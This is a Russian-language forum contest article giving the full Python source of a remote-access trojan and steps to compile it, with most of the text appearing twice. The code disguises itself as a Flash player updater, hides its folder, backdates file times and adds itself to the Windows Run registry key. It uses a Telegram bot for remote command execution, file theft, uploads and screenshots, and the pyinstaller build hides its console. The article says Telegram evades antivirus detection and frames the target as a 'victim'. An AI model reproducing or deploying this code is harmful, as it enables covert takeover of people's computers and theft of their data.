Статья для участия в конкурсе на codeby
Приветствую всех обитателей формура и просто заблудших душ. Python - несомненно, один из самых простых в изучении и использовании язык программирования. В этой серии статей я хочу показать приёмы написания вредоносных программ на Python 3, в целях саморазвития, естественно.
[WARNING]
Статья несёт лишь познавательный характер и призывает читателей расширять свой кругозор. Используйте свою силу во благо. Никогда не переходите на тёмную сторону!
[WARNING]
В рамках этой статьи будут реализованы слудющие вещи:
Получаем телеграм-бота
Резонный вопрос: "почему телеграм бот? Сделай нормальный вирус." Ответ довольно прост: телеграм не воспринимается антивирусными системами как вредонос, у него есть шифрование, нам не нужен выделенный ip для управления, рулить ботом/ботами можно в чате сразу нескольким людям, а ещё он просто классный.
Получить бота можно у... бота. Идём в телеграм и ищем @BotFather
Создаём нового бота ( /newbot ), придумываем имя и ссылку. Взамен получаем токен для управления.
Далее можно разрешить входить в групповые чаты ( /setjoingroups ) и провести дальнейшую настройку. Бот будет доступен по выданной BotFather-ом ссылке.
Начинаем кодить
Каркас нашей программы будет выглядеть так:
Далее все новые функции программы будет достаточно просто добавить как функции класса вируса или как отдельные модули
Автозагрузка
Добавление в автозагрузку реализовано следующим образом: если программа запущена без ключей, то запускаем функцию set_autorun. Запуск с ключом ( --quiet в данном случае) означает то, что программа была запущена из автостарта. (метод описан в начале функции __init__). Взглянем на set_autorun:
Здесь программа копирует себя в произвольную папку, делает её невидимой и сменяет дату создания. Путь до автостарта добавляется с ключом --quiet, в нашем случае это означает, что программа не будет лишний раз добавлять себя в автозагрузку.
Если скопировать программу в папку, не принадлежащую текущему пользователю, то нас встретит UAC, а антивирус не позволит завершить копирование. Стоит так же заметить, что хоть мы и сделали папку с "флеш плеером" невидимой, в настройках можно просматривать скрытые папки, имейте это ввиду:
Telegram bot
Вернёмся к нашему боту. В слушателе сообщений bot_handler нужно ограничить доступ к вводу команд до определённого круга лиц и чатов по их уникальным id ( которые мы добавили перед созданием объекта класса ). Так же нужно описать базовые команды, такие как загрузка/выгрузка файлов, запуск программ, исполнение консольных (cmd/powershell) утилит. Тут возможности бота ограничены лишь вашим воображением. Мой код:
Исходники будут лежать на github.
Компиляция
Для компиляции в единый исполняемый файл нам понадобится windows с
Если вы не собираетесь обфуцировать свой код, то pycrypto вам не понадобится. Иначе же для его установки вам нужен
Что бы скомпилировать файл, вводим в терминале pyinstaller -F --key codebynet --icon flash.ico --noconsole flashplayer.py
Разберём команду:
Последние обновления PyCrypto датируются 2014 годом. Не мудрено, что на новым версиях Python могут выскакивать ошибки при установке. Мне, к сожалению, не помогли бесчисленные советы о установке PyCrypto, но это не повлияло на детект атнивирусом
После запуска программы на стороне жертвы ловим сессию, радуемся жизни.
Весь исходный код, как уже было сказано выше, будет лежать тут.
На этом я хотел бы закончить эту вводную статью. Всем до свидания и удачного кодинга!
Приветствую всех обитателей формура и просто заблудших душ. Python - несомненно, один из самых простых в изучении и использовании язык программирования. В этой серии статей я хочу показать приёмы написания вредоносных программ на Python 3, в целях саморазвития, естественно.
[WARNING]
Статья несёт лишь познавательный характер и призывает читателей расширять свой кругозор. Используйте свою силу во благо. Никогда не переходите на тёмную сторону!
[WARNING]
В рамках этой статьи будут реализованы слудющие вещи:
- автозагрузка
- связь с компьютером жертвы посредством telegram-бота на его стороне
- компиляция в независимый от Python исполняемый файл
Получаем телеграм-бота
Резонный вопрос: "почему телеграм бот? Сделай нормальный вирус." Ответ довольно прост: телеграм не воспринимается антивирусными системами как вредонос, у него есть шифрование, нам не нужен выделенный ip для управления, рулить ботом/ботами можно в чате сразу нескольким людям, а ещё он просто классный.
Получить бота можно у... бота. Идём в телеграм и ищем @BotFather
Создаём нового бота ( /newbot ), придумываем имя и ссылку. Взамен получаем токен для управления.
Далее можно разрешить входить в групповые чаты ( /setjoingroups ) и провести дальнейшую настройку. Бот будет доступен по выданной BotFather-ом ссылке.
Начинаем кодить
Каркас нашей программы будет выглядеть так:
Код:
# -*- coding: utf-8 -*-
import os
import sys
import time
import shutil
import winreg
import getpass
import telepot
import requests
import win32api
import winshell
import threading
import subprocess
import encodings.idna # requests ругался на отсутствие idna-колировок, решается импортом
from PIL import ImageGrab
from telepot.loop import MessageLoop
class Pyjan:
def __init__(self): # При создании экземпляра класса в __init__ автоматически запустатся нужные нам функции функции класса
try:
if sys.argv[1] == "--quiet": # Если программа запущена с ключом, значит она уже в автозапуске
pass
except IndexError:
self.set_autorun() # Если программа запущена не из автозапуска, то добавляем
MessageLoop(bot, self.bot_handler).run_as_thread() # Обработчик сообщений в отдельном потоке
print("[*] Bot connected.")
for chat in trusted_chats:
bot.sendMessage(chat, "[*] Bot connected.")
for user in trusted_users:
bot.sendMessage(user, "[*] Bot connected.")
while True: # Не даём программе закрыться
time.sleep(10)
def set_autorun(self):
pass
def bot_handler(self, message):
pass
if __name__ == '__main__':
token = " " # токен бота
bot = telepot.Bot(token)
trusted_users = [] # Доверенные пользователи, которые смогут общаться с ботом
trusted_chats = [] # Доверенные группы
trojan = Pyjan() # Создаём эекемпляр класса
Далее все новые функции программы будет достаточно просто добавить как функции класса вируса или как отдельные модули
Автозагрузка
Добавление в автозагрузку реализовано следующим образом: если программа запущена без ключей, то запускаем функцию set_autorun. Запуск с ключом ( --quiet в данном случае) означает то, что программа была запущена из автостарта. (метод описан в начале функции __init__). Взглянем на set_autorun:
Код:
def set_autorun(self):
application = sys.argv[0]
start_path = os.path.join(os.path.abspath(os.getcwd()), application) # Получаем наше местонахождение
copy2_path = "{}\\{}".format(winshell.my_documents(), "Adobe flash player")
copy2_app = os.path.join(copy2_path, "Flash player updater.exe")
if not os.path.exists(copy2_path):
os.makedirs(copy2_path)
win32api.CopyFile(start_path, copy2_app) # Копируем приложение в папку с незамысловатым названием
win32api.SetFileAttributes(copy2_path, 2) # Делаем папку невидимой
os.utime(copy2_app, (1282372620, 1282372620)) # Меняем дату создания папки
os.utime(copy2_path, (1282372620, 1282372620)) # и программы
startup_val = r"Software\Microsoft\Windows\CurrentVersion\Run"
key2change = winreg.OpenKey(winreg.HKEY_CURRENT_USER, startup_val, 0, winreg.KEY_ALL_ACCESS))
winreg.SetValueEx(key2change, "Flash player updater", 0, winreg.REG_SZ, start_path+" --quiet") # Добавляем программу в автозагрузку с помощью ключа реестра
Если скопировать программу в папку, не принадлежащую текущему пользователю, то нас встретит UAC, а антивирус не позволит завершить копирование. Стоит так же заметить, что хоть мы и сделали папку с "флеш плеером" невидимой, в настройках можно просматривать скрытые папки, имейте это ввиду:
Telegram bot
Вернёмся к нашему боту. В слушателе сообщений bot_handler нужно ограничить доступ к вводу команд до определённого круга лиц и чатов по их уникальным id ( которые мы добавили перед созданием объекта класса ). Так же нужно описать базовые команды, такие как загрузка/выгрузка файлов, запуск программ, исполнение консольных (cmd/powershell) утилит. Тут возможности бота ограничены лишь вашим воображением. Мой код:
Код:
def bot_handler(self, message):
print(message)
userid = message["from"]["id"]
chatid = message["chat"]["id"]
if userid in trusted_users or chatid in trusted_chats: # Если к боту обращаются доверенные лица - исполняем команду.
try: # Если в сообщении нет текста, то возможно боту отправили файл
args = message["text"].split()
except KeyError:
args = [""]
if "document" in message: # Если это действительно файл, то загружаем его
file_name = message["document"]["file_name"]
file_id = message["document"]["file_id"]
elif "photo" in message:
file_id = message["photo"][-1]["file_id"]
print(message["photo"])
file_name = "{}.jpg".format(file_id)
file_path = bot.getFile(file_id)['file_path']
link = "https://api.telegram.org/file/bot{}/{}".format(token, file_path)
File = requests.get(link, stream=True).raw
print(link)
save_path = os.path.join(os.getcwd(), file_name)
with open(save_path, "wb") as out_file:
shutil.copyfileobj(File, out_file)
bot.sendMessage(message["chat"]["id"], "[*] file uploaded")
if args[0] == "/help":
s = """/help - помощь
/cmd - выполнить cmd команду, требующую возвращения результата
/run - запустить программу, не требующую возвращения результатов
/pwd - текущая дериктория
/ls - показать файлы в директории
/cd - сменить дерикторию
/screen - сделать скриншот экрана
/download - скачать файл с компьютера
"""
bot.sendMessage(message["chat"]["id"], str(s))
elif args[0] == "/cmd":
try:
s = "[*] {}".format(subprocess.check_output(' '.join(args[1:]), shell=True))
except Exception as e:
s = "[!] {}".format(e)
bot.sendMessage(message["chat"]["id"], "{}".format(str(s)))
elif args[0] == "/run":
try:
s = "[*] Program started"
subprocess.Popen(args[1:], shell=True)
except Exception as e:
s = "[!] {}".format(str(e))
bot.sendMessage(message["chat"]["id"], "{}".format(str(s)))
elif args[0] == "/pwd":
try:
s = os.path.abspath(os.getcwd())
except Exception as e:
s = e
bot.sendMessage(message["chat"]["id"], "[*] {}".format(str(s)))
elif args[0] == "/ls":
if len(args) == 1:
pth = "."
else:
pth = args[1]
s = '\n'.join(os.listdir(path=pth))
bot.sendMessage(message["chat"]["id"], "[*] {}".format(str(s)))
elif args[0] == "/cd":
path = os.path.abspath(args[1])
os.chdir(path)
bot.sendMessage(message["chat"]["id"], "[*] changing directory to {} ...".format(str(path)))
elif args[0] == "/screen":
image = ImageGrab.grab()
image.save("pic.jpg")
bot.sendDocument(message["chat"]["id"], open("pic.jpg", "rb"))
os.remove("pic.jpg")
elif args[0] == "/download":
File = ' '.join(map(str, args[1:]))
try:
bot.sendDocument(message["chat"]["id"], open(File, "rb"))
except Exception:
bot.sendMessage(message["chat"]["id"], "[!] you must select the file")
elif args[0] == "":
pass
else:
bot.sendMessage(message["chat"]["id"], "[*] /help для вывода команд")
else:
bot.sendMessage(message["chat"]["id"], "Уходи.")
Исходники будут лежать на github.
Компиляция
Для компиляции в единый исполняемый файл нам понадобится windows с
Ссылка скрыта от гостей
,
Ссылка скрыта от гостей
, и бесчисленное колличество модулей, которые нужно установить самостоятельно
Код:
telepot
winshell
pillow
requests
wheel
pycrypto
Ссылка скрыта от гостей
и .Что бы скомпилировать файл, вводим в терминале pyinstaller -F --key codebynet --icon flash.ico --noconsole flashplayer.py
Разберём команду:
-F компилировать в единый .exe файл
--key codebynet использовать ключ шифрования codebynet
--icon flash.ico иконка для исполняемого файла в ico-формате
--noconsole не показывать консоль во время работы программы
--key codebynet использовать ключ шифрования codebynet
--icon flash.ico иконка для исполняемого файла в ico-формате
--noconsole не показывать консоль во время работы программы
Последние обновления PyCrypto датируются 2014 годом. Не мудрено, что на новым версиях Python могут выскакивать ошибки при установке. Мне, к сожалению, не помогли бесчисленные советы о установке PyCrypto, но это не повлияло на детект атнивирусом
После запуска программы на стороне жертвы ловим сессию, радуемся жизни.
Весь исходный код, как уже было сказано выше, будет лежать тут.
На этом я хотел бы закончить эту вводную статью. Всем до свидания и удачного кодинга!
Последнее редактирование: